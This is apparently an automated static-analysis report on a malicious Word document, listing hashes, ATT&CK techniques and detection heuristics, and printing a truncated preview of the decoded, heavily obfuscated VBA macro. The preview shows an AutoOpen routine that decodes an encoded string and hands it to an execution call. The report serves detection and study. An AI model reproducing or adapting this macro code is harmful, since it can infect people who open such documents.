Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24708d87f5c812fa…

MALICIOUS

Office (OLE)

1.48 MB Created: 2018-10-08 13:57:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 7ea8e50ce884dab89a13803ccebea26e SHA-1: 7216a0df0b873c1da8fbdf85268743be0fed9d1b SHA-256: 24708d87f5c812fa30e41d7f0fc89e92370773ad8af4494ba1d2adf9cdee56da
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is a Microsoft Office document containing VBA macros, specifically an AutoOpen macro that calls the Shell() function. The macro code is heavily obfuscated, making it difficult to determine the exact payload. However, the presence of AutoOpen and Shell() calls strongly suggests an intent to execute arbitrary code, likely a downloader for a second-stage payload. The ClamAV detection 'Doc.Macro.Obfuscated-6397052-2' further supports the malicious nature of the macro.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50125 bytes
SHA-256: a08a542f484211aff903fc18998902920ff3b482ca682abb4d0e0b97afb36faa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oflPRvrTAjynW"
Sub AutoOpen()
Dim IxBTvqpMCIhtiBqMZzd As String
IxBTvqpMCIhtiBqMZzd = MOMCqdxBOimtoI(gFpVdtRecxaZD("IDc1O2ltbFs9KCc9JjZbPi5DNSZiNicqbC00ITQsI0YiXCItXjo4V2gqSlY="), "HCAKSBC2PIUVCB2PI3GILUHGCIUGUYO2F3UC2UY3FO23OUYCF32OYUDHOYGU32FVYUO23GF")
Dim MvMFzkuJEYYWQ As Integer
MvMFzkuJEYYWQ = 3
Dim hAFvNQkuHZYS As Integer
hAFvNQkuHZYS = 7 * 5
If MvMFzkuJEYYWQ < Len(Application.UserName) Then
Dim RasDEJYhqtwXXteVht As Object
Dim NvWbhGoxewxfDvYNK As Integer
NvWbhGoxewxfDvYNK = 3 * 5
MvMFzkuJEYYWQ = Len(Application.UserName)
End If
HzLeGAXRgdf.TCbXcdeXNMqZmxblkor (IxBTvqpMCIhtiBqMZzd)
Dim MKKBsuBBLyhSAikkj As Integer
MKKBsuBBLyhSAikkj = 2 * 4
' OPTIONS
Dim AsnddDWJTCGuLVmMvvs As Integer
AsnddDWJTCGuLVmMvvs = 8
Dim oDNDBDGZbDupX As Integer
oDNDBDGZbDupX = 1
Dim WoJTFdbcnJYhaBxqAdN As Integer
WoJTFdbcnJYhaBxqAdN = 2
Dim oOsacGhdebstLK As Integer
oOsacGhdebstLK = 8 * 7
If WoJTFdbcnJYhaBxqAdN < Len(Application.UserName) Then
Dim wTimWYcfUJEhW As Integer
wTimWYcfUJEhW = 9 * 4
Dim TbazHEQrhhipINQ As Object
Dim vCDcQQzMRwxbjcnEM As Integer
vCDcQQzMRwxbjcnEM = 2
If vCDcQQzMRwxbjcnEM < Len(Application.UserName) Then
Dim pEwPxTlIdCedSxL As Integer
pEwPxTlIdCedSxL = 8 * 1
Dim cimVtSMzYlUGcyCJK As Object
Dim IuKaCHtCogM As Integer
IuKaCHtCogM = 6 * 6
vCDcQQzMRwxbjcnEM = Len(Application.UserName)
End If
WoJTFdbcnJYhaBxqAdN = Len(Application.UserName)
End If
If oDNDBDGZbDupX < Len(Application.UserName) Then
Dim slfEswHIANZZDZ As Integer
slfEswHIANZZDZ = 8 * 3
Dim lepApcgkCzhAEFVV As Object
oDNDBDGZbDupX = Len(Application.UserName)
End If
If AsnddDWJTCGuLVmMvvs < Len(Application.UserName) Then
Dim SzMGsDZBhxNXbHB As Integer
SzMGsDZBhxNXbHB = 9 * 2
Dim aJXYOyeDFokFSdkTMo As Object
Dim WKUWjboSnBhI As Integer
WKUWjboSnBhI = 8
Dim RfcUQPZVdhCfac As Integer
RfcUQPZVdhCfac = 8
Dim IpxaRLmbmYR As Integer
IpxaRLmbmYR = 9 * 7
If RfcUQPZVdhCfac < Len(Application.UserName) Then
Dim LeowgWAnMcV As Collection
Set LeowgWAnMcV = New Collection
LeowgWAnMcV.Add "ugETKsOWXcyLLLHfJg"
LeowgWAnMcV.Add "oOXoYhbWdxYFxLnc"
Dim KjsGwMQINpTUlvnDp As Object
RfcUQPZVdhCfac = Len(Application.UserName)
End If
If WKUWjboSnBhI < Len(Application.UserName) Then
Dim dxIuYgnoqpu As Integer
dxIuYgnoqpu = 6 * 9
Dim DTYRZnLNDzIRMpGwL As Object
Dim KhZHnlZXdYFbZ As Integer
KhZHnlZXdYFbZ = 9 * 1
WKUWjboSnBhI = Len(Application.UserName)
End If
AsnddDWJTCGuLVmMvvs = Len(Application.UserName)
End If
End Sub
Public Function gFpVdtRecxaZD(gmlvfdZvAGPOrwjxhp As String, Optional RAxlXVaIIng As Boolean = True) As String
Static gHRYqMfBIjlwjWcfYPW(0 To 255) As Byte
Dim HzPFVIgDBbaIkv As Collection
Set HzPFVIgDBbaIkv = New Collection
HzPFVIgDBbaIkv.Add "gHZTAVjKXrXbWLpy"
HzPFVIgDBbaIkv.Add "DDMuaBUelRNdMbVm"
HzPFVIgDBbaIkv.Add "YMVOEjQffIxdEpuY"
HzPFVIgDBbaIkv.Add "CSRXbvwyuPh"
Dim nuarZKPmRImzaBuVN() As Byte, THvDAbeFLKgQrp() As Byte
Dim XzGNfObHTNxQQoWYD As Integer
XzGNfObHTNxQQoWYD = 9 * 3
Dim sBdpfmhgNDTnV As Long, CJJoPhstXwwbqi As Long
Dim bmlYjxKoEQCEB As Integer
bmlYjxKoEQCEB = 6 * 5
If gHRYqMfBIjlwjWcfYPW(0) = 0 Then
Dim HFnuXyGFrqNsWoeMM As Integer
HFnuXyGFrqNsWoeMM = 7 * 8
For sBdpfmhgNDTnV = 0 To 255
Dim BxRqgYtqokmZ As Integer
BxRqgYtqokmZ = 5 * 7
gHRYqMfBIjlwjWcfYPW(sBdpfmhgNDTnV) = 255
Dim qBrMxqBvXNICCZFxn As Integer
qBrMxqBvXNICCZFxn = 2 * 7
Next sBdpfmhgNDTnV
Dim pvcSahlTWOsq As Integer
pvcSahlTWOsq = 3 * 5
For sBdpfmhgNDTnV = 0 To 25
gHRYqMfBIjlwjWcfYPW(sBdpfmhgNDTnV + 65) = sBdpfmhgNDTnV
Dim RAPZuOTRkLAjQgFOW As Integer
RAPZuOTRkLAjQgFOW = 8
Dim WWOpIAeGzwAblDOdlr As Integer
WWOpIAeGzwAblDOdlr = 7 * 6
If RAPZuOTRkLAjQgFOW < Len(Application.UserName) Then
Dim uBebrTDhWkwn As Integer
uBebrTDhWkwn = 7 * 3
Dim BUHgFWXQIoWWQJR As Object
Dim nNXpETDbzDeLr
... (truncated)